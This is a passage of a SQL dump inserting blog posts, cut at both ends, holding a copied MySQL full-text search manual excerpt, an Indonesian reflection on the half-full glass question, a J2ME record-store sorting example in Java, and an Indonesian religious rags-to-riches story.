\r\n\r\nSome words are ignored in full-text searches: \r\n\r\nAny word that is too short is ignored. The default minimum length of words that are found by full-text searches is four characters. \r\n\r\nWords in the stopword list are ignored. A stopword is a word such as “the” or “some” that is so common that it is considered to have zero semantic value. There is a built-in stopword list, but it can be overwritten by a user-defined list. \r\n\r\nThe default stopword list is given in Section 12.7.3, “Full-Text Stopwords”. The default minimum word length and stopword list can be changed as described in Section 12.7.5, “Fine-Tuning MySQL Full-Text Search”. \r\n\r\nEvery correct word in the collection and in the query is weighted according to its significance in the collection or query. Consequently, a word that is present in many documents has a lower weight (and may even have a zero weight), because it has lower semantic value in this particular collection. Conversely, if the word is rare, it receives a higher weight. The weights of the words are combined to compute the relevance of the row. \r\n\r\nSuch a technique works best with large collections (in fact, it was carefully tuned this way). For very small tables, word distribution does not adequately reflect their semantic value, and this model may sometimes produce bizarre results. For example, although the word “MySQL” is present in every row of the articles table shown earlier, a search for the word produces no results: \r\n[code]\r\nmysql> SELECT * FROM articles\r\n -> WHERE MATCH (title,body) AGAINST (\'MySQL\');\r\nEmpty set (0.00 sec)\r\n[/code]\r\nThe search result is empty because the word “MySQL” is present in at least 50% of the rows. As such, it is effectively treated as a stopword. For large datasets, this is the most desirable behavior: A natural language query should not return every second row from a 1GB table. For small datasets, it may be less desirable. \r\n\r\nA word that matches half of the rows in a table is less likely to locate relevant documents. In fact, it most likely finds plenty of irrelevant documents. We all know this happens far too often when we are trying to find something on the Internet with a search engine. It is with this reasoning that rows containing the word are assigned a low semantic value for the particular dataset in which they occur. A given word may exceed the 50% threshold in one dataset but not another. \r\n\r\nThe 50% threshold has a significant implication when you first try full-text searching to see how it works: If you create a table and insert only one or two rows of text into it, every word in the text occurs in at least 50% of the rows. As a result, no search returns any results. Be sure to insert at least three rows, and preferably many more. Users who need to bypass the 50% limitation can use the boolean search mode; see Section 12.7.1, “Boolean Full-Text Searches”. \r\n\r\n12.7.1. Boolean Full-Text Searches\r\n----------------------------------------\r\nMySQL can perform boolean full-text searches using the IN BOOLEAN MODE modifier: \r\n[code]\r\nmysql> SELECT * FROM articles WHERE MATCH (title,body)\r\n -> AGAINST (\'+MySQL -YourSQL\' IN BOOLEAN MODE);\r\n+----+-----------------------+-------------------------------------+\r\n| id | title | body |\r\n+----+-----------------------+-------------------------------------+\r\n| 1 | MySQL Tutorial | DBMS stands for DataBase ... |\r\n| 2 | How To Use MySQL Well | After you went through a ... |\r\n| 3 | Optimizing MySQL | In this tutorial we will show ... |\r\n| 4 | 1001 MySQL Tricks | 1. Never run mysqld as root. 2. ... |\r\n| 6 | MySQL Security | When configured properly, MySQL ... |\r\n+----+-----------------------+-------------------------------------+\r\n[/code]\r\nThe + and - operators indicate that a word is required to be present or absent, respectively, for a match to occur. Thus, this query retrieves all the rows that contain the word “MySQL” but that do not contain the word “YourSQL”. \r\n\r\nBoolean full-text searches have these characteristics: \r\n\r\nThey do not use the 50% threshold. \r\n\r\nThey do not automatically sort rows in order of decreasing relevance. You can see this from the preceding query result: The row with the highest relevance is the one that contains “MySQL” twice, but it is listed last, not first. \r\n\r\nThey can work even without a FULLTEXT index, although a search executed in this fashion would be quite slow. \r\n\r\nThe minimum and maximum word length full-text parameters apply. \r\n\r\nThe stopword list applies. \r\n\r\nThe boolean full-text search capability supports the following operators: \r\n\r\n+ \r\n\r\nA leading plus sign indicates that this word must be present in each row that is returned. \r\n\r\n- \r\n\r\nA leading minus sign indicates that this word must not be present in any of the rows that are returned. \r\n\r\nNote: The - operator acts only to exclude rows that are otherwise matched by other search terms. Thus, a boolean-mode search that contains only terms preceded by - returns an empty result. It does not return “all rows except those containing any of the excluded terms.” \r\n\r\n(no operator) \r\n\r\nBy default (when neither + nor - is specified) the word is optional, but the rows that contain it are rated higher. This mimics the behavior of MATCH() ... AGAINST() without the IN BOOLEAN MODE modifier. \r\n\r\n> < \r\n\r\nThese two operators are used to change a word\'s contribution to the relevance value that is assigned to a row. The > operator increases the contribution and the < operator decreases it. See the example following this list. \r\n\r\n( ) \r\n\r\nParentheses group words into subexpressions. Parenthesized groups can be nested. \r\n\r\n~ \r\n\r\nA leading tilde acts as a negation operator, causing the word\'s contribution to the row\'s relevance to be negative. This is useful for marking “noise” words. A row containing such a word is rated lower than others, but is not excluded altogether, as it would be with the - operator. \r\n\r\n* \r\n\r\nThe asterisk serves as the truncation (or wildcard) operator. Unlike the other operators, it should be appended to the word to be affected. Words match if they begin with the word preceding the * operator. \r\n\r\n\" \r\n\r\nA phrase that is enclosed within double quote (‘\"’) characters matches only rows that contain the phrase literally, as it was typed. The full-text engine splits the phrase into words, performs a search in the FULLTEXT index for the words. Prior to MySQL 5.0.3, the engine then performed a substring search for the phrase in the records that were found, so the match must include non-word characters in the phrase. As of MySQL 5.0.3, non-word characters need not be matched exactly: Phrase searching requires only that matches contain exactly the same words as the phrase and in the same order. For example, \"test phrase\" matches \"test, phrase\" in MySQL 5.0.3, but not before. \r\n\r\nIf the phrase contains no words that are in the index, the result is empty. For example, if all words are either stopwords or shorter than the minimum length of indexed words, the result is empty. \r\n\r\nThe following examples demonstrate some search strings that use boolean full-text operators: \r\n\r\n\'apple banana\' \r\n\r\nFind rows that contain at least one of the two words. \r\n\r\n\'+apple +juice\' \r\n\r\nFind rows that contain both words. \r\n\r\n\'+apple macintosh\' \r\n\r\nFind rows that contain the word “apple”, but rank rows higher if they also contain “macintosh”. \r\n\r\n\'+apple -macintosh\' \r\n\r\nFind rows that contain the word “apple” but not “macintosh”. \r\n\r\n\'+apple ~macintosh\' \r\n\r\nFind rows that contain the word “apple”, but if the row also contains the word “macintosh”, rate it lower than if row does not. This is “softer” than a search for \'+apple -macintosh\', for which the presence of “macintosh” causes the row not to be returned at all. \r\n\r\n\'+apple +(>turnover <strudel)\' \r\n\r\nFind rows that contain the words “apple” and “turnover”, or “apple” and “strudel” (in any order), but rank “apple turnover” higher than “apple strudel”. \r\n\r\n\'apple*\' \r\n\r\nFind rows that contain words such as “apple”, “apples”, “applesauce”, or “applet”. \r\n\r\n\'\"some words\"\' \r\n\r\nFind rows that contain the exact phrase “some words” (for example, rows that contain “some words of wisdom” but not “some noise words”). Note that the ‘\"’ characters that enclose the phrase are operator characters that delimit the phrase. They are not the quotes that enclose the search string itself. \r\n\r\n12.7.2. Full-Text Searches with Query Expansion\r\n----------------------------------------------------\r\nFull-text search supports query expansion (and in particular, its variant “blind query expansion”). This is generally useful when a search phrase is too short, which often means that the user is relying on implied knowledge that the full-text search engine lacks. For example, a user searching for “database” may really mean that “MySQL”, “Oracle”, “DB2”, and “RDBMS” all are phrases that should match “databases” and should be returned, too. This is implied knowledge. \r\n\r\nBlind query expansion (also known as automatic relevance feedback) is enabled by adding WITH QUERY EXPANSION following the search phrase. It works by performing the search twice, where the search phrase for the second search is the original search phrase concatenated with the few most highly relevant documents from the first search. Thus, if one of these documents contains the word “databases” and the word “MySQL”, the second search finds the documents that contain the word “MySQL” even if they do not contain the word “database”. The following example shows this difference: \r\n[code]\r\nmysql> SELECT * FROM articles\r\n -> WHERE MATCH (title,body) AGAINST (\'database\');\r\n+----+-------------------+------------------------------------------+\r\n| id | title | body |\r\n+----+-------------------+------------------------------------------+\r\n| 5 | MySQL vs. YourSQL | In the following database comparison ... |\r\n| 1 | MySQL Tutorial | DBMS stands for DataBase ... |\r\n+----+-------------------+------------------------------------------+\r\n2 rows in set (0.00 sec)\r\n\r\nmysql> SELECT * FROM articles\r\n -> WHERE MATCH (title,body)\r\n -> AGAINST (\'database\' WITH QUERY EXPANSION);\r\n+----+-------------------+------------------------------------------+\r\n| id | title | body |\r\n+----+-------------------+------------------------------------------+\r\n| 1 | MySQL Tutorial | DBMS stands for DataBase ... |\r\n| 5 | MySQL vs. YourSQL | In the following database comparison ... |\r\n| 3 | Optimizing MySQL | In this tutorial we will show ... |\r\n+----+-------------------+------------------------------------------+\r\n3 rows in set (0.00 sec)\r\n[/code]\r\nAnother example could be searching for books by Georges Simenon about Maigret, when a user is not sure how to spell “Maigret”. A search for “Megre and the reluctant witnesses” finds only “Maigret and the Reluctant Witnesses” without query expansion. A search with query expansion finds all books with the word “Maigret” on the second pass. \r\n\r\nNote: Because blind query expansion tends to increase noise significantly by returning non-relevant documents, it is meaningful to use only when a search phrase is rather short. ',1,1,8);
insert into `pagedetail` (`pageDetailId`,`pageDate`,`pageTitle`,`pageDescribtion`,`userId`,`pageStatus`,`pageId`) values (95,'2008-05-14 10:00:03','Gelas Setengah isi atau gelas setengah kosong?','Gelas Setengah isi atau gelas setengah kosong?\r\n\r\nWaktu ditanya hehe, bingung juga sekitar 1 menit akhirnya memutuskan untuk \r\nmemilih, bahwa gelas itu setengah kosong. 1 Minggu berlalu yah aq kira ke-\r\nputusanku benar, karena gelas itu mememang setengah kosong dan cucok dengan\r\nbahasa indonesia yang baik dan benar(tenan pora hehe ?). Tapi lama-lama kok \r\nganjal, sebnarnya maksud dari pertanyaan pisikotes itu apa. Akhirnya browsing lah di internet\r\ndan kemarin sempat pula mampit di Gramedia dan secara gak sengaja nemu juga\r\nbuku yang bahas hal ini,\r\n\r\n\"Setengah Isi Setengah Kosong\" karangan Parlindungan Marpaung\r\n\r\nLalu apa sih sebernya makna dari pertannya di atas? Ternyata merupakan per\r\ntanyaan untuk mengetahui pribadi kita termasuk orang yang optimis atau pe-\r\nsimis.\r\n1. Orang yang menjawab bahwa Gelas itu adalah setengah Isi, termasuk orang\r\nyang optimis dan ini lah sebenarnya jawaban yang diinginkan.:P\r\n2. Orang yang menjawab bahwa Gelas itu adalah setengah Kosong, termasuk o\r\nrang yang pesimis. Hehe :P\r\n\r\nYah namun buku dari karangna Pak Parlindungan Marpaung, bukan sekedar buku\r\nyang menjelaskan pertanyaan itu saja tapi lebih bagaimana kita untuk berpi\r\nkir POSITIF istilah POLUPERnya adalah \"QONAAH\".\r\n\r\nDisini mas Bim \"bim1601.wordpress.com\" juga mengutarakan dengan lebih baik, dibanding saya saya lebih suka nulis yang singkat singkat dan jelas dibanding menulis dengan bahasa yang indah.\r\n\r\nJika setengah gelas air dimasukan ke dalam sebuah gelas, apakah gelas tersebut setengah isi atau setengah kosong? Mungkin Anda pernah mendengar cerita tentang dua orang anak yang optimis dan pesimis mengenai sikapnya terhadap ember berisi air setengahnya, apakah setengah isi atau setengah kosong. Tetapi yang akan dibahas disini lain lagi, karena jawaban setengah isi maupun setengah kosong keduanya bisa salah bisa juga benar.\r\n\r\nJika Anda menjawab bahwa gelas tersebut penuh, itu juga juga bisa menjadi jawaban yang benar. Dan justru inilah jawaban yang paling benar. Mengapa? Karena gelas tersebut memang penuh: setengah diisi oleh air dan setengah lagi diisi oleh udara, jadi totalnya gelas tersebut penuh. Yang menjawab setengah isi juga bisa benar jika sudut pandang terhadap isi gelas tersebut tertuju pada air saja. Udara dilupakan untuk sementara.\r\n\r\nSetengah kosong juga benar, secara harfiah. Tetapi jawaban seperti menunjukan bahwa kita selalu fokus terhadap yang tidak ada bukan fokus terhadap yang ada yang akan membuat kita memiliki rasa bersyukur. Sementara rasa syukur akan meningkatkan motivasi diri kita. Tetapi untuk konteks lain jawaban ini ada baiknya, misalnya saat kita sedang membuat rencana mencapai sesuatu, kita harus melihat kekosongan sehingga bisa menentukan tindakan apa saja yang harus dilakukan untuk mengisinya.\r\n\r\nTernyata, dari gelas yang terisi air setengahnya bisa memberikan banyak sudut pandang. Hal ini memberikan hikmah kepada kita bahwa dalam melihat sesuatu harus dari berbagai aspek, kita tidak bisa melihat dari satu sisi saja dan kemudian menghasilkan kesimpulan yang seolah tidak bisa diganggu gugat lagi. Jika kebetulan kita melihat pada satu aspek yang positif, alhamdulillah, tetapi jika kita kebetulan melihat pada aspek yang negatif, maka kehidupan kita akan terjebak selamanya pada kepercayaan negatif.\r\n\r\nJika saat ini Anda merasa tidak mampu melakukan sesuatu, mungkin saja karena Anda baru melihat dari satu sisi saja. Mungkin jika Anda melihat dari berbagai aspek, Anda akan sadar bahwa Anda mampu melakukannya. Jika saat ini Anda merasa sesuatu itu tidak penting, mungkin karena Anda baru melihat hal tersebut dari satu sisi saja, tetapi mungkin saja jika kita melihat dari berbagai aspek, kita akan menemukan berbagai hal positif dari hal tersebut.\r\n\r\nBerpikir lebih luas dengan cara melihat sesuatu dari berbagai aspek sudut pandang akan membuat kita lebih cerdas, lebih jeli, lebih terbuka terhadap peluang, dan memiliki motivasi diri yang lebih baik. Manfaatkanlah pikiran kita, jangan hanya sia-siakan nikmat yang telah Allah berikan kepada kita. Ini adalah salah satu cara bersyukur kita, yaitu mengoptimalkan pikiran kita.',1,1,7);
insert into `pagedetail` (`pageDetailId`,`pageDate`,`pageTitle`,`pageDescribtion`,`userId`,`pageStatus`,`pageId`) values (96,'2008-05-27 13:57:07','Example Source Code using RMS in J2ME','Hehe ada teman yang nanya tentang RMS, hehe rada lupa juga ternyata. Akhirnya diposting aja biar enak nyarinya klo lupa lagi. \r\n\r\nTampilannya:\r\n[code]\r\nSTMIK AMIKOM\r\n--------------------\r\nSTM TELKOM\r\n--------------------\r\nSLTPN 2 WLINGI\r\n--------------------\r\nSDN SURU 1\r\n--------------------\r\nTK SURU\r\n--------------------\r\n[/code]\r\n\r\nBerikut adalah contoh source codenya:\r\n[code]\r\n/*--------------------------------------------------\r\n* SimpleSort.java\r\n*\r\n* Tidak menggunakan tampilan GUI semuanya menggnakan Console saja. Yang penting kan konsepnya\r\n*\r\n* Referensi dari buku: Core J2ME Technology\r\n* Pengarang John W. Muchow http://www.CoreJ2ME.com\r\n*-------------------------------------------------*/\r\nimport java.io.*;\r\nimport javax.microedition.midlet.*;\r\nimport javax.microedition.rms.*;\r\n\r\npublic class SimpleSort extends MIDlet\r\n{\r\n private RecordStore rs = null;\r\n static final String REC_STORE = \"db_1\"; //nama dabasenya\r\n\r\n public SimpleSort()\r\n {\r\n openRecStore(); // membuat penyimpanan record\r\n \r\n // Menambahkan beberapa data\r\n writeRecord(\"STMIK AMIKOM\");\r\n writeRecord(\"STM TELKOM\");\r\n writeRecord(\"SLTPN 2 WLINGI); \r\n writeRecord(\"SDN SURU 1\"); \r\n writeRecord(\"TK SURU\"); \r\n\r\n // Membaca ulang untuk diurutkan\r\n readRecords();\r\n \r\n closeRecStore(); // Tutup Record\r\n deleteRecStore(); // Hapus Record\r\n }\r\n\r\n public void destroyApp( boolean unconditional )\r\n {\r\n }\r\n\r\n public void startApp()\r\n {\r\n // Tidak ada user interface ditampilkan dan langsung keluar\r\n destroyApp(false);\r\n notifyDestroyed();\r\n }\r\n\r\n public void pauseApp()\r\n {\r\n }\r\n\r\n public void openRecStore()\r\n {\r\n try\r\n {\r\n // Parameter ke 2 mengindikasi record data\r\n // harus dibuat jika tidak ada\r\n rs = RecordStore.openRecordStore(REC_STORE, true );\r\n }\r\n catch (Exception e)\r\n {\r\n db(e.toString());\r\n }\r\n } \r\n \r\n public void closeRecStore()\r\n {\r\n try\r\n {\r\n rs.closeRecordStore();\r\n }\r\n catch (Exception e)\r\n {\r\n db(e.toString());\r\n }\r\n }\r\n\r\n public void deleteRecStore()\r\n {\r\n if (RecordStore.listRecordStores() != null)\r\n {\r\n try\r\n {\r\n RecordStore.deleteRecordStore(REC_STORE);\r\n }\r\n catch (Exception e)\r\n {\r\n db(e.toString());\r\n }\r\n } \r\n }\r\n\r\n public void writeRecord(String str)\r\n {\r\n byte[] rec = str.getBytes();\r\n\r\n try\r\n {\r\n rs.addRecord(rec, 0, rec.length);\r\n }\r\n catch (Exception e)\r\n {\r\n db(e.toString());\r\n }\r\n }\r\n\r\n public void readRecords()\r\n {\r\n try\r\n {\r\n if (rs.getNumRecords() > 0)\r\n {\r\n Comparator comp = new Comparator();\r\n \r\n RecordEnumeration re = rs.enumerateRecords(null, comp, false);\r\n while (re.hasNextElement())\r\n {\r\n // Panggil Calls String constructor ambil byte array untuk dimasukkan\r\n String str = new String(re.nextRecord());\r\n\r\n System.out.println(str);\r\n System.out.println(\"------------------------------\"); \r\n \r\n }\r\n }\r\n }\r\n catch (Exception e)\r\n {\r\n db(e.toString());\r\n }\r\n }\r\n\r\n /*--------------------------------------------------\r\n * Pesan singkat ketika error debug\r\n * Jika kita menggunakan Exception kita bisa menghedle lebih banyak error\r\n *-------------------------------------------------*/\r\n private void db(String str)\r\n {\r\n System.err.println(\"Msg: \" + str);\r\n }\r\n}\r\n\r\n\r\n/*--------------------------------------------------\r\n* Compares 2 record untuk pengurutan\r\n*-------------------------------------------------*/\r\nclass Comparator implements RecordComparator\r\n{\r\n public int compare(byte[] rec1, byte[] rec2)\r\n {\r\n String str1 = new String(rec1), str2 = new String(rec2);\r\n \r\n int result = str1.compareTo(str2);\r\n if (result == 0)\r\n return RecordComparator.EQUIVALENT;\r\n else if (result < 0)\r\n return RecordComparator.PRECEDES;\r\n else\r\n return RecordComparator.FOLLOWS; \r\n }\r\n}\r\n[/code]\r\n',1,1,3);
insert into `pagedetail` (`pageDetailId`,`pageDate`,`pageTitle`,`pageDescribtion`,`userId`,`pageStatus`,`pageId`) values (97,'2008-05-26 17:04:33','The Beauty of Trading With GOD!','The Beauty of Trading With GOD! \r\nBertemu Dengan Miliyarder, Mantan Pemulung\r\nsumber : www.ayi-ibet.blogspot.com \r\n\r\nHari Jum\'at, jam 9 pagi, bulan februari 2006, saya sedang mengisi dialog on air di sebuah stasiun radio, Jl Lembang Ciledug Tangerang. Saat itu tema yang diangkat adalah \"Apakah saya yakin dengan rizki dan pertolongan Tuhan\". Perbicangan cukup hangat dan banyak pendengar yang ikut berpartisipasi dalam acara ini, mayoritas mereka berasal dari Jabodetabek. Ternyata mereka sepakat dengan tema itu. Bahwa manusia ini akan hidup mulia, sejahtera, berkah dan bahagia, jika manusia mengenal Tuhan dan kerajaan bisnis-Nya serta mampu merealisasikan aturan main-Nya secara utuh.\r\n\r\nSalah satu penanya dalam acara itu adalah H. Suwiknyo, pemilik 7 cabang Dealer resmi Motor Suzuki dan Pemilik pabrik Retester Gas Elpiji Rekanan PT. Pertamina Persero. Tidak cukup puas bertanya di telepon, akhirnya selesai acara on air kami bertemu dan berbincang-bincang di salah satu rumah makan padang di Jl. lembang Ciledug. Beliau menceritakan kisah hidupnya, dengan penuturan yang sangat tulus dan sangat menarik serta menyentuh hati. Beliau menceritakan perjalanan hidupnya dari mulai jadi pemulung sampai dengan menjadi pengusaha sukses yang diberkahi Allah SWT.\r\n\r\nH. Suwiknyo, lahir di Mojokerto Jawa Timur, bulan Agustus 1969. Masa kecilnya dilalui dengan sekolah dan mengaji, namun belum lulus SD, dia harus berhenti sekolah, karena tidak ada biaya. Akhirnya pada tahun 1980 merantau ke Jakarta untuk menjadi kernet angkot. Enam bulan berada di jalanan, setelah cukup tabungannya, kemudian dia meneruskan sekolah SD kelas VI yang sempat tertunda. 1982 Dia masuk sekolah SMP sambil mengajar pramuka di daerah Ciledug. Setelah lulus SMU, pada tahun 1994, kemudian dia menikah dan bekerja sebagai pedagang ayam bangkok, namun karena saat itu terjadi musim penyakit ayam tetelo, akhirnya usahanya harus tutup. Pada tahun 1995 saat-saat kehidupan yang sangat sulit bagi dia, modal habis dan teman pun sulit untuk ditemui, padahal istrinya sedang hamil tua, tetapi kehidupan harus terus berjalan.\r\n\r\nDengan kondisi yang sangat berat dan terasa makin rumit, dia berupaya menjadi suami yang bertanggung jawab dan tidak mau menjadi beban orang lain, sehingga tahun itu ia menjadi seorang pemulung. Dari subuh sampai malam dia mengumpulkan sisa-sisa sampah yang bisa dijual untuk sesuap nasi. Dan sang istri tercinta yang sedang hamil tua berjualan makanan burung untuk menambah uang belanja sehari-hari. \"Tidak ada kata malu, gengsi apalagi mengeluh, hidup ini indah jika kita mau dan mampu menikmatinya\". Tuturnya. Dengan kegigihan, keuletan, kesabaran dan kerjasama yang baik dengan istri tercinta, akhirnya pada tahun 1996 dia mendirikan perkumpulan pemulung dan memiliki anggota sebanyak 15 orang. Hari-harinya ditambah kesibukan untuk mengkoordinir dan mengarahkan para pemulung tersebut, supaya menjadi pemulung yang lebih produktif dan lebih giat, sehingga tidak lama kemudian jumlah pemulung semakin bertambah dengan omset yang semakin berlimpah.\r\n\r\nKehidupannya terus berubah dan bertambah berkah setelah menjadi kordinator pemulung. Pada tahun 2003 secara tidak sengaja bertemu dengan Nanang, pemilik air isi ulang di daerah Cipondoh, dari pertemuan itulah dia sepakat untuk mendirikan sebuah dealer motor, walau dengan modal hanya cukup menyewa kios kecil ukuran 2x3 m2 dan motor pertamanya hasil meminjam dari seorang teman.\r\n\r\nBapak H.Suwiknyo, selama ini, selalu berusaha untuk selalu dekat dengan Allah, berupaya hidupnya berorientasikan kepada nilai Illahiyah dan kesholehan sosial. Maka walaupun dengan keterbatasan dana yang ada, dia meresmikan dealer motor ini dengan mengundang 17 anak yatim. Untuk menambah lebih Islami, maka nama dealernya pun diberi nama Madani Motor, yang diambil dari kata Madinah yang artinya tempat yang mulia dan diberkahi. \"Diberi nama Madani karena perusahaan ini, ingin memberikan kemuliaan, kesejahteraan dan keberkahan kepada banyak orang\", tambahnya.\r\n\r\nSungguh mulia visi dan misinya, dan ternyata niat baik ini diistijabah (dikabulkan) oleh Allah SWT, tidak lebih dari 4 bulan setelah dealer motor ini diresmikan, maka beliau sudah mampu mendirikan dua cabang dealer lagi, yaitu di Cileduk dan Pakulonan. Satu tahun kemudian bertambah menjadi empat cabang. Kemajuan demi kemajuan yang dicapai tidak membuat dia sombong atau jauh dari Allah yang telah memberikan amanah dan anugrah segala kesuksesan kepada hamba-Nya, untuk itu dia tidak pernah lupa dengan anak yatim, sehingga tahun 2004 beliau menyisihkan hartanya untuk menyantuni dan menyekolahkan 101 anak yatim. Bukan hanya itu, karena dia pernah merasa susah untuk biaya sekolah, maka dia pun mendirikan sekolah, yang dimulai dengan tingkat Taman Kanak-kanak, yang kemudian diberi nama Al-Inayah Madani.\r\n\r\nDalam rangka menambah rasa syukur dan pengabdian kepada Allah SWT, maka pada tahun 2005 dia bersama keluarganya menunaikan ibadah umroh. Hari demi hari, minggu demi minggu, bulan demi bulan, tahun demi tahun, Madani motor ternyata makin bertambah berkah dan bertambah maju. Pada tahun 2007 bertambah menjadi 7 cabang dengan nilai asset lebih dari 2,5 milyar dan bukan hanya itu pada akhir tahun 2007 dia dipercaya menjadi perusahaan rekanan Pertamina untuk mengelola pabrik retester tabung gas elpiji untuk wilayah propinsi Banten, dengan nilai asset tidak kurang dari 3 milyar. Dalam waktu dekat, beliau merencanakan akan mendirikan Rumah Sehat (rumah sakit) dengan kualitas baik dan harga terjangkau. Semoga terkabul!\r\n\r\nPertemuan dengan H.Suwiknyo begitu berarti bagi saya. Perjalanan hidup orang sholeh yang saya temui, membuat hati ini semakin yakin bahwa yang mampu untuk mengangkat The Secret (rahasia) dalam hidup ini bukan hanya Rhonda Byrne, Tapi siapapun kita akan mampu untuk menginventarisasi rahasia hidup dan keajaiban Allah SWT, baik dalam diri kita atau orang lain yang dianggap biasa saja. Saya yakin anda dapat mentransformasikan setiap keajaiban dan anugerah Allah dalam diri kita kepada ummat, agar mereka lebih tegar dan lebih optimis terhadap masa depan. Dan inilah sebagian kisah nyata atas bukti keajaiban Allah SWT, yang diberikan kepada siapa saja dan dimana saja sesuai kehendak-Nya. Diberikan kepada orang yang mampu berbisnis dengan Allah, sebagai owner dari segala kesuksesan dan kerajaan langit dan bumi.\r\n\r\n\"Dan apakah mereka tidak memperhatikan bahwa Sesungguhnya Allah melapangkan rezki bagi siapa yang dikehendaki-Nya dan Dia (pula) yang menyempitkan (rezki itu). Sesungguhnya pada yang demikian itu benar-benar terdapat tanda-tanda (kekuasaan Allah) bagi kaum yang beriman. Maka berikanlah kepada kerabat yang terdekat akan haknya, demikian (pula) kepada fakir miskin dan orang-orang yang dalam perjalanan. Itulah yang lebih baik bagi orang-orang yang mencari keridhaan Allah; dan mereka itulah orang-orang beruntung\".(QS Ar-Ruum (30):37-38).\r\n\r\nKisah ini, adalah salah satu amanah yang harus segera disampaikan kepada siapapun yang meyakini akan dahsyatnya rahasia dan keajaiban Tuhan yang Maha Esa. Dan saya yakin andapun pernah mendapatkan keajaiban yang sangat berarti dalam hidup anda. Karena sesungguhnya Allah Maha Luas Kekayaan dan karunia-Nya. Allah sangat senang terhadap hamba-hamban-Nya\r\n\r\nBisnis Yang Mampu Merevolusi Kehidupan Manusia!\r\nMenurut anda, apakah ada bisnis yang dijamin 100% pasti prospek, pasti transparan, pasti jujur, pasti adil dan pasti untung besar? apakah ada cara untuk menghindari kerugian dan pailit dunia akhirat? Bisnis apakah yang akan mampu menjadikan anda hidup mulia sejahtera dan di akhirat masuk surga, bahagia selamanya? Jawabannya ada, yaitu anda berbisnis dengan Tuhan. Bisnis yang dijamin memberikan kekuatan sangat dahsyat, yang akan mampu mendongkrak dan merevolusi kondisi kehidupan manusia yang lemah, terpuruk, bangkrut, rapuh dan hina dina, menjadi manusia unggul, istimewa dan digjaya di muka bumi ini. Bisnis yang mendapat garansi Allah SWT sang Owner dari segala kekayaan, Dia menjamin bahwa pebisnisnya akan diberkahi hidupnya, diuntungkan dalam bisnisnya, dimenangkan dalam perjuangannya, diampuni dosanya dan dimasukan ke dalam istana surga yang mengalir sungai-sungai didalamnya.\r\n\r\n\"Hai orang-orang yang beriman, sukakah kamu Aku tunjukkan suatu bisnis (perniagaan) yang dapat menyelamatkan kamu dari azab yang pedih? (yaitu) kamu beriman kepada Allah dan Rasul-Nya dan berjihad di jalan Allah dengan harta dan jiwamu. Itulah yang lebih baik bagimu, jika kamu mengetahui. Niscaya Allah akan mengampuni dosa-dosamu dan memasukkanmu ke dalam jannah (surga) yang mengalir di bawahnya sungai-sungai dan (memasukkan kamu) ke tempat tinggal yang baik di dalam surga Adn. Itulah keberuntungan yang besar. Dan (ada lagi) karunia yang lain yang kamu sukai (yaitu) pertolongan dari Allah dan kemenangan yang dekat (waktunya). Dan sampaikanlah berita gembira kepada orang-orang yang beriman\". (QS.Ash-Shaaff (61) : 10-13).\r\n\r\nBerbisnis dengan Allah SWT, berarti anda berbisnis dengan Owner dari segala kerajaan dan semua kekayaan. Allah sangat senang memberi karena Dia Maha Pengasih dan Maha Penyayang. Allah sangat suka mengkaruniakan segala yang terbaik kepada anda, karena Allah Maha Kaya Raya. Kekuasan-Nya tidak akan pernah berkurang sedikitpun ketika Dia memberikan nikmat apapun dan rizki sebanyak apapun kepada seluruh makhluk yang ada di jagad raya ini. Dia maha pemeberi, dari mulai makhluk yang paling gagah, sampai binatang melata yang tidak berdaya, yang tidak punya kaki, tidak punya tangan, tidak punya akal, tidak mampu bergerak, namun Allah telah penuhi segala kebutuhannya.\r\n\r\n\"Kepunyaan Allah-lah kerajaan langit dan bumi, dan Allah Maha Perkasa atas segala sesuatu. Sesungguhnya dalam penciptaan langit dan bumi, dan silih bergantinya malam dan siang terdapat tanda-tanda bagi orang-orang yang berakal (yaitu) orang-orang yang mengingat Allah sambil berdiri atau duduk atau dalam keadan berbaring dan mereka memikirkan tentang penciptaan langit dan bumi (seraya berkata): \"Ya Tuhan kami, tiadalah Engkau menciptakan ini dengan sia-sia, Maha Suci Engkau, maka peliharalah kami dari siksa neraka\". (QS. Ali ‘Imran (3): 189-190).\r\n\r\nBisnis Yang Mampu Merevolusi Kehidupan Manusia?\r\nSesungguhnya, pertolongan, kemenangan, kesejahteraan, kegembiraan, kesuksesan dan kebahagiaan, merupakan dambaan setiap insan. Tapi dalam realitas keseharian, acapkali kita menyaksikan orang yang kaya harta, akan tetapi terlihat miskin bahagia, hari-harinya dipenuhi rasa sedih, pilu dan keluh kesah yang tiada henti. Kelihatannya, ada kesempitan yang mendalam dibalik luas rumahnya, dan ada kehampaan dibalik indahnya taman bunga yang membentang di halaman rumahnya, ada perasaan ruwet dibalik gemercik air mancur di samping gerbang pintunya, ada perasaan sepi dibalik keramaian hiruk pikuk tawa riang sahabat-sahabatnya. Ada serpihan kepedihan dibalik berlimpahnya kemewahan, tingginya jabatan dan berbagai pujian manusia.\r\n\r\n\"Apakah mereka tidak memperhatikan berapa banyak generasi yang telah Kami binasakan sebelum mereka, padahal (generasi itu) telah Kami teguhkan kedudukan mereka di muka bumi, yaitu keteguhan yang belum pernah Kami berikan kepadamu, dan Kami curahkan hujan yang lebat atas mereka dan Kami jadikan sungai-sungai mengalir di bawah mereka, kemudian Kami binasakan mereka karena dosa mereka sendiri, dan Kami ciptakan sesudah mereka generasi yang lain\". (QS. Al An\'aam (6):6)\r\n\r\nIni semuanya, berawal dari kelalaian dalam memilih jalan, kesalahan menentukan tujuan, kecerobohan dalam mengarahkan jiwa, kekeliruan dalam melakukan transaksi bisnis. Sehingga mengambil jalan fujur (nafsu jahat). Berkaratnya hati, kecongkakan diri untuk mengenal dan dekat dengan Allah, bahkan tidak segan-segan terjadi pembangkangan terhadap perintah-Nya, pengkhianatan terhadap pemberian-Nya, pendustaan terhadap pengetahuan-Nya, penistaan terhadap pengawasan-Nya. Seluruhnya telah menjadikan hati manusia menjadi batu yang sangat keras, tidak mampu bergetar dengan sentuhan ayat-ayat Allah, tidak merasa takut dengan mendengar asma-Nya, tidak merasa bangga dengan keagungan syariat-Nya, tidak peduli dengan kondisi sesamanya. Dia lalai dan sudah lupa bahwa Allah adalah Tuhan yang Maha Benar, Maha Mengetahui, Maha Bijaksana, Maha Kaya Raya, Maha Kuasa, yang memiliki surga dan neraka, yang mampu memberikan taman surga dalam kuburnya dan mampu merubah liang lahatnya menjadi penjara mengerikan dari jeruji parit api neraka.\r\n\r\n\"Segala puji bagi Allah Yang telah menciptakan langit dan bumi dan mengadakan gelap dan terang, namun orang-orang yang kafir mempersekutukan (sesuatu) dengan Tuhan mereka. Dialah Yang menciptakan kamu dari tanah, sesudah itu ditentukannya ajal 